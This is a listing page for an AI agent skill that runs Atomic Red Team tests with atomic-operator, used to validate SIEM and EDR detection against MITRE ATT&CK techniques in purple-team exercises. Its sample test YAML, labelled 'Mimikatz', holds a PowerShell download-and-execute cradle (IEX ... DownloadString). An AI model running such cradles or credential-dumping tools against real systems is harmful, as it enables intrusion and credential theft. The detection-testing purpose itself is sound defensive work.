What it does. 'Executes Atomic Red Team tests for MITRE ATT&CK technique validation Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-threat-emulation-with-atomic-red-team, or copy the skill folder into ~/.claude/skills/performing-threat-emulation-with-atomic-red-team/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-emulation-with-atomic-red-team/SKILL.md

SKILL.md (verbatim)

name: performing-threat-emulation-with-atomic-red-team
description: 'Executes Atomic Red Team tests for MITRE ATT&CK technique validation
  using the atomic-operator Python framework. Loads test definitions from YAML atomics,
  runs attack simulations, and validates detection coverage. Use when testing SIEM
  detection rules, validating EDR coverage, or conducting purple team exercises.

  '
domain: cybersecurity
subdomain: threat-intelligence
tags:
- threat-emulation
- atomic-red-team
- mitre-attack
- adversary-emulation
- atomic-operator
- purple-team
version: '1.0'
author: mahipal
license: Apache-2.0
nist_ai_rmf:
- MEASURE-2.7
- MAP-5.1
- MANAGE-2.4
atlas_techniques:
- AML.T0070
- AML.T0066
- AML.T0082
d3fend_techniques:
- Executable Denylisting
- Execution Isolation
- File Metadata Consistency Validation
- Content Format Conversion
- File Content Analysis
nist_csf:
- ID.RA-01
- ID.RA-05
- DE.CM-01
- DE.AE-02
mitre_attack:
- T1591
- T1592
- T1593
- T1589
- T1685.002

Performing Threat Emulation with Atomic Red Team

When to Use

• When conducting security assessments that involve performing threat emulation with atomic red team
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Familiarity with threat intelligence concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Instructions

Use atomic-operator to execute Atomic Red Team tests and validate detection coverage against MITRE ATT&CK techniques.

from atomic_operator import AtomicOperator

operator = AtomicOperator()
# Run a specific technique test
operator.run(
    technique="T1059.001",  # PowerShell execution
    atomics_path="./atomic-red-team/atomics",
)

Key workflow:

1. Clone the atomic-red-team repository for test definitions
2. Select ATT&CK techniques matching your detection rules
3. Execute atomic tests using atomic-operator
4. Check SIEM/EDR for corresponding alerts
5. Document detection gaps and update rules

Examples

# Parse atomic test YAML definitions
import yaml
with open("atomics/T1059.001/T1059.001.yaml") as f:
    tests = yaml.safe_load(f)
for test in tests.get("atomic_tests", []):
    print(f"Test: {test['name']}")
    print(f"  Platforms: {test.get('supported_platforms', [])}")

Other files in this skill

• LICENSE
• references/api-reference.md
• scripts/agent.py

references/api-reference.md (verbatim)

API Reference: Performing Threat Emulation with Atomic Red Team

atomic-operator (Python)

from atomic_operator import AtomicOperator

operator = AtomicOperator()
# Run specific technique
operator.run(
    technique="T1059.001",
    atomics_path="./atomic-red-team/atomics",
    test_numbers=[1],
)
# Run with custom inputs
operator.run(technique="T1059.001", input_arguments={"command": "whoami"})

Atomic Test YAML Format

attack_technique: T1059.001
display_name: "PowerShell"
atomic_tests:
  - name: "Mimikatz"
    description: "Downloads and runs mimikatz"
    supported_platforms: [windows]
    executor:
      name: powershell
      command: |
        IEX (New-Object Net.WebClient).DownloadString('#{url}')
      cleanup_command: |
        Remove-Item #{output_file}
    input_arguments:
      url:
        description: "URL to download"
        type: url
        default: "https://example.com/test"

Key CLI Commands

# Clone atomics
git clone https://github.com/redcanaryco/atomic-red-team

# Install operator
pip install atomic-operator

# List tests for technique
ls atomic-red-team/atomics/T1059.001/

Coverage Mapping

References

• Atomic Red Team: https://github.com/redcanaryco/atomic-red-team
• atomic-operator: https://github.com/redcanaryco/atomic-operator
• ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/

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